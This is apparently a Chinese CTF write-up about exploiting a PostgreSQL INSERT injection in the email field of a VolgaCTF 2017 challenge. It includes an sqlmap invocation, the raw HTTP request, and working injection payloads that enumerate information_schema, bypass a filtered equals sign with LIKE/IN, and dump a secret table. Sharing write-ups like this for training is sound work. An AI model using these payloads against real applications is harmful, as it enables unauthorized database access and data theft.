写这篇文是在昨夜的ctf中遇到的。

ctf地址:bloody-feedback.quals.2017.volgactf.ru

email存在注入,在ctf中发现注入就很好办了,只要找到能绕过的方法就行。发现有pg开头,联想到PostgreSQL数据库

试着补全语句

发现错误回显的有效信息更多了,

ERROR: INSERT has more target columns than expressions
LINE 1: INSERT INTO messages (code,name,message,email,status) VALUES

大概的语句就这样

INSERT INTO messages (code,name,message,email,status) VALUES('aaa','aaa','aaa','aaa','aaa')

  email在第四个,所以在补全一个status就行,

找了好久的资料,没发现PostgreSQL的报错方法。

尝试使用sqlmap


➜  sqlmap proxychains4 python sqlmap.py -r 1.txt --dbms=PostgreSQL -p email --prefix "',(" --suffix "))--" -v3

1.txt的内容

➜  sqlmap cat 1.txt
POST /submit/ HTTP/1.1
Host: bloody-feedback.quals.2017.volgactf.ru
Content-Length: 41
Cache-Control: max-age=0
Origin: http://bloody-feedback.quals.2017.volgactf.ru
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
DNT: 1
Referer: http://bloody-feedback.quals.2017.volgactf.ru/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Connection: close name=aaa&email=aa@qq.com&message=assa

  

发现能识别注入,美滋滋。

接着在跑表,发现需要用枚举的方式来跑。枚举????ctf的表名和字段名从来都很非主流的好嘛!!

还是用手工吧。

小伙伴发现在后面补全的时候,

name=a%27a%27a&email=aa%40qq.com','aaa')--&message=aaa

也就是'aaa'那里,只要不加引号,直接放sql语句也是可以的,回显的话需要访问response给我们的连接

查看当前数据库权限:

然后在访问response的连接就行。

接着查询表名,直接把当前数据库当做放flag的表

name=aaa&email=aa@qq.com',(select table_name from information_schema.tables limit 1 offset 0))--&message=assa

表名:s3cret_tabl3

接着爆列名。

本来的语法应该是name=aaa&email=aa@qq.com',(select column_name from information_schema.columns where table_name='s3cret_tabl3' limit 1 offset 0))—&message=assa

发现等号被过滤了,找了一下发现like也行

于是变换语句

name=aaa&email=aa@qq.com',(select column_name from information_schema.columns where table_name  LIKE 's3cret_tabl3' limit 1 offset 0))—&message=assa

name=aaa&email=aa@qq.com',(select column_name from information_schema.columns where table_name in ('s3cret_tabl3') limit 1 offset 0))--&message=assa

如果宽字节的注入 ,这里不能用引号怎么办?测试了发现mysql的0x和0b在这里不管用。(待解)

列名为s3cr3tc0lumn,

然后直接出来数据。

select s3cr3tc0lumn from s3cret_tabl3 limit 1 offset 2

发现这样不需要列名也能直接出数据

select * from s3cret_tabl3 limit 1 offset 4

  

附带一篇Postgres注入方式总结.pdf


PostgreSQL的insert注入的更多相关文章

  1. 织梦内容管理系统(DedeCms) 小说模块insert注入漏洞

    漏洞版本: Dedecms 漏洞描述: DedeCms是免费的PHP网站内容管理系统. 织梦内容管理系统(DedeCms) 以简单.实用.开源而闻名,是国内最知名的PHP开源网站管理系统,也是使用用户 ...

  2. ZZCMS v8.2 前台Insert注入+任意文件删除

    前几天看了水泡泡老哥的zzcms的审计,在论坛上一搜发现这个cms有不少洞.听说很适合小白练手,所以来瞅一瞅.不知道我发现的这个洞是不是已经被爆过了,如果雷同,纯属巧合. 一.Insert注入,直接返 ...

  3. 关于PostgreSQL的SQL注入必知必会

    一.postgresql简介 postgresql是一款关系型数据库,广泛应用在web编程当中,由于其语法与MySQL不尽相同,所以其SQL注入又自成一派. 二.postgresql的SQL注入:(注 ...

  4. Update、Insert注入技巧

    title: Update.Insert注入技巧 date: 2017-10-23 18:07:57 tags: ["注入"] 审计了不少代码,再看代码的时候最多出现的就是注入,很 ...

  5. sqlserver 2000 insert注入的问题

    一个sql server 2000的注入点猜测语句如下:insert into t1(col1, col2, col3) values('注入点1','数据点2','xxx');注入点1的值可以通过o ...

  6. MySQL&SQL server&Oracle&Access&PostgreSQL数据库sql注入详解

    判断数据库的类型 当我们通过一些测试,发现存在SQL注入之后,首先要做的就是判断数据库的类型. 常用的数据库有MySQL.Access.SQLServer.Oracle.PostgreSQL.虽然绝大 ...

  7. SQL注入测试平台 SQLol -3.INSERT注入测试

    访问首页的insert模块,http://127.0.0.1/sql/insert.php,开始对insert模块进行测试. insert语句: INSERT INTO [users] ([usern ...

  8. postgresql + mybatis insert主键自增方法

    postgresql + mybatis插入记录时设置自增主键方法: 一.数据库设置主键自增 1.数据库中id字段选择serial4类型后,会在默认值中生成 nextval('app_id_seq': ...

  9. “百度杯”CTF比赛 十二月场_blog(kindeditor编辑器遍历,insert注入,文件包含)

    题目在i春秋的ctf训练营中能找到 首先先是一个用户登录与注册界面,一般有注册界面的都是要先让你注册一波,然后找惊喜的 那我就顺着他的意思去注册一个号 注册了一个123用户登录进来看到有个文本编辑器, ...

随机推荐

  1. Jquery给网页的title取值和赋值

    //获取title的值 var title_val=$('#id').attr('title'); alert(title_val); //修改title的值.赋值给title $('#id2').a ...

  2. 云计算之路-阿里云上-容器难容:优化自建 docker swarm 集群的部署

    在上周六遭遇阿里云容器服务 swarm 版的故障之后,我们决定还是走自建 docker swarm 之路,只要不是阿里云底层的问题,我们相信会找到办法解决或避开自建 docker swarm 不稳定的 ...

  3. Vim配置及使用技巧

    要说Linux下比较好用的文本编辑器,我推荐vim(当然很多人都用emacs,可我没用过),用vim也有一年左右,有些心得体会想与诸位分享.在我的学习过程中,借鉴了不少优秀的博客,其中有csdn大神n ...

  4. 【审核】检查iOS项目中是否使用了IDFA

    (1)什么是IDFA 关于IDFA,在提交应用到App Store时,iTunes Connect有如下说明: 这里说到检查项目中是否包含IDFA,那如何来对iOS项目(包括第三方SDK)检查是否包含 ...

  5. 一个毕生难忘的BUG

    记得以前接手过一个Java项目,服务器程序,直接让Jar在linux上跑的那种, 这个项目由两个web服务组成,也就是两条Java进程,主进程 xxx.jar,辅助进程 xxx_helper.jar. ...

  6. 集合Collection总览

    前言 声明,本文使用的是JDK1.8 从今天开始正式去学习Java基础中最重要的东西--->集合 无论在开发中,在面试中这个知识点都是非常非常重要的,因此,我在此花费的时间也是很多,得参阅挺多的 ...

  7. Three.js three.js Uncaught TypeError: Cannot read property 'getExtension' of null

    在调试Three.js执行加载幕布的时候,突然爆出这个错误three.js Uncaught TypeError: Cannot read property 'getExtension' of nul ...

  8. Linq GroupBy

    //Linq //var result = from p in personList // group p by p.Id // into grouped // select new { Id = g ...

  9. 非PE病毒介绍

    1.宏病毒 1.1 介绍 本文中的宏特制office系列办公软件中的宏,Microsoft Office中对宏的定义为"宏就是能够组织在一起的,可以作为一个独立命令来执行的一系列Word 命 ...

  10. python入门(8)数据类型和变量

    python入门(8)数据类型和变量 数据类型 在Python中,能够直接处理的数据类型有以下几种: 整数 Python可以处理任意大小的整数,当然包括负整数,在程序中的表示方法和数学上的写法一模一样 ...